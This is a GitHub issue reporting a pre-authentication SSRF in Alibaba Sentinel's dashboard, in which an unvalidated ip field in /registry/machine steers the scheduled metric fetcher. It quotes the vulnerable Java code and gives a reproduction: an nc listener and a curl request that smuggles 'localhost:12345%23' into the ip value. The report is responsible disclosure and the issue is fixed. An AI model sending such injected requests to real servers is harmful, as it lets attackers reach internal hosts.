Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Report a Sentinel Security Vulnerability about SSRF #2451

Closed
threedr3am opened this issue Nov 18, 2021 · 1 comment
Closed

Report a Sentinel Security Vulnerability about SSRF #2451

threedr3am opened this issue Nov 18, 2021 · 1 comment
Labels
area/dashboard Issues or PRs about Sentinel Dashboard kind/bug Category issues or prs related to bug.
Milestone

Comments

@threedr3am
Copy link

threedr3am commented Nov 18, 2021

你好,我是SecCoder Security Lab的threedr3am,我发现了Alibaba开源限流熔断组件Sentinel中的管控平台sentinel-dashboard存在认证前SSRF漏洞,恶意用户无需认证即可通过该接口进行SSRF攻击。

Issue Description

Type: bug report

由于该开源项目的sentinel-dashboard module中存在着接口/registry/machine无需授权即可访问,并且客户端接入时提交的注册数据无任何权限校验就存储在内存中,恶意用户无需认证登陆,即可发送恶意的应用注册数据,让sentinel-dashboard定时任务对其数据中ip指定的主机发起GET请求,进行SSRF攻击。

漏洞点在com.alibaba.csp.sentinel.dashboard.metric.MetricFetcher#fetchOnce

通过查看代码可以发现,该方法中会遍历注册AppInfo中每台机器MachineInfo的注册信息,构造对应的URL进行采集客户端限流熔断等数据,但其ip字段无任何校验,通过井号'#'等字符就可以截断后续的URL内容(RFC),进而控制管控平台sentinel-dashboard发起任意GET请求。

/**
 * fetch metric between [startTime, endTime], both side inclusive
 */
private void fetchOnce(String app, long startTime, long endTime, int maxWaitSeconds) {
    if (maxWaitSeconds <= 0) {
        throw new IllegalArgumentException("maxWaitSeconds must > 0, but " + maxWaitSeconds);
    }
    AppInfo appInfo = appManagement.getDetailApp(app);
    // auto remove for app
    if (appInfo.isDead()) {
        logger.info("Dead app removed: {}", app);
        appManagement.removeApp(app);
        return;
    }
    Set<MachineInfo> machines = appInfo.getMachines();
    logger.debug("enter fetchOnce(" + app + "), machines.size()=" + machines.size()
        + ", time intervalMs [" + startTime + ", " + endTime + "]");
    if (machines.isEmpty()) {
        return;
    }
    final String msg = "fetch";
    AtomicLong unhealthy = new AtomicLong();
    final AtomicLong success = new AtomicLong();
    final AtomicLong fail = new AtomicLong();

    long start = System.currentTimeMillis();
    /** app_resource_timeSecond -> metric */
    final Map<String, MetricEntity> metricMap = new ConcurrentHashMap<>(16);
    final CountDownLatch latch = new CountDownLatch(machines.size());
    for (final MachineInfo machine : machines) {
        // auto remove
        if (machine.isDead()) {
            latch.countDown();
            appManagement.getDetailApp(app).removeMachine(machine.getIp(), machine.getPort());
            logger.info("Dead machine removed: {}:{} of {}", machine.getIp(), machine.getPort(), app);
            continue;
        }
        if (!machine.isHealthy()) {
            latch.countDown();
            unhealthy.incrementAndGet();
            continue;
        }
        final String url = "http://" + machine.getIp() + ":" + machine.getPort() + "/" + METRIC_URL_PATH
            + "?startTime=" + startTime + "&endTime=" + endTime + "&refetch=" + false;
        final HttpGet httpGet = new HttpGet(url);
        httpGet.setHeader(HTTP.CONN_DIRECTIVE, HTTP.CONN_CLOSE);
        httpclient.execute(httpGet, new FutureCallback<HttpResponse>() {
            @Override
            public void completed(final HttpResponse response) {
                try {
                    handleResponse(response, machine, metricMap);
                    success.incrementAndGet();
                } catch (Exception e) {
                    logger.error(msg + " metric " + url + " error:", e);
                } finally {
                    latch.countDown();
                }
            }

            @Override
            public void failed(final Exception ex) {
                latch.countDown();
                fail.incrementAndGet();
                httpGet.abort();
                if (ex instanceof SocketTimeoutException) {
                    logger.error("Failed to fetch metric from <{}>: socket timeout", url);
                } else if (ex instanceof ConnectException) {
                    logger.error("Failed to fetch metric from <{}> (ConnectionException: {})", url, ex.getMessage());
                } else {
                    logger.error(msg + " metric " + url + " error", ex);
                }
            }

            @Override
            public void cancelled() {
                latch.countDown();
                fail.incrementAndGet();
                httpGet.abort();
            }
        });
    }
    try {
        latch.await(maxWaitSeconds, TimeUnit.SECONDS);
    } catch (Exception e) {
        logger.info(msg + " metric, wait http client error:", e);
    }
    //long cost = System.currentTimeMillis() - start;
    //logger.info("finished " + msg + " metric for " + app + ", time intervalMs [" + startTime + ", " + endTime
    //    + "], total machines=" + machines.size() + ", dead=" + dead + ", fetch success="
    //    + success + ", fetch fail=" + fail + ", time cost=" + cost + " ms");
    writeMetric(metricMap);
}

通过漏洞调用链,可以发现这是一个10秒钟执行一遍的定时任务

com.alibaba.csp.sentinel.dashboard.metric.MetricFetcher

private void start() {
    fetchScheduleService.scheduleAtFixedRate(() -> {
        try {
            fetchAllApp();
        } catch (Exception e) {
            logger.info("fetchAllApp error:", e);
        }
    }, 10, intervalSecond, TimeUnit.SECONDS);
}

Describe what happened (or what feature you want)

因为Sentinel的设计,该接口是用于客户端接入时进行注册用途,一般情况下,内网可信网络下无需认证,或k8s下使用类似istio等进行访问限制,所以,接口认证不存在问题。但对于拼接URL进行客户端限流熔断数据采样的行为,缺少了参数校验,导致可以任意控制URL发起HTTP GET请求的SSRF攻击。

因为port字段是Integer类型,使其具有了一定的限制,但ip字段没有任何校验,需要对其进行严格的校验,比如引入正则限制必须是ip,或者域名等等。

Describe what you expected to happen

SSRF

How to reproduce it (as minimally and precisely as possible)

  1. 到github拉取开源代码https://github.com/alibaba/Sentinel
  2. 运行Sentinel/sentinel-dashboard/src/main/java/com/alibaba/csp/sentinel/dashboard/DashboardApplication.java即可启动sentinel-dashboard后台
  3. 本地监听12345端口,nc -lvvp 12345
  4. 发起对本地localhost端口为12345的SSRF GET攻击,curl -XGET 'http://127.0.0.1:8080/registry/machine?app=SSRF-TEST&appType=0&version=0&hostname=TEST&ip=localhost:12345%23&port=0'

可以看到,nc监听到了GET请求

nc -lvvp 12345
Listening on any address 12345 (italk)
Connection from 127.0.0.1:61446
GET / HTTP/1.1
Connection: Close
Host: localhost:12345
User-Agent: Apache-HttpAsyncClient/4.1.3 (Java/1.8.0_241)

Tell us your environment

Anything else we need to know?

@sczyh30 sczyh30 added the area/dashboard Issues or PRs about Sentinel Dashboard label Nov 19, 2021
@sczyh30 sczyh30 added this to the 1.8.3 milestone Nov 19, 2021
@sczyh30 sczyh30 added the kind/bug Category issues or prs related to bug. label Nov 19, 2021
@sczyh30
Copy link
Member

sczyh30 commented Nov 19, 2021

Thanks for reporting!

Zhang-0952 pushed a commit to Zhang-0952/Sentinel that referenced this issue Mar 4, 2022
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
area/dashboard Issues or PRs about Sentinel Dashboard kind/bug Category issues or prs related to bug.
Projects
None yet
Development

No branches or pull requests

2 participants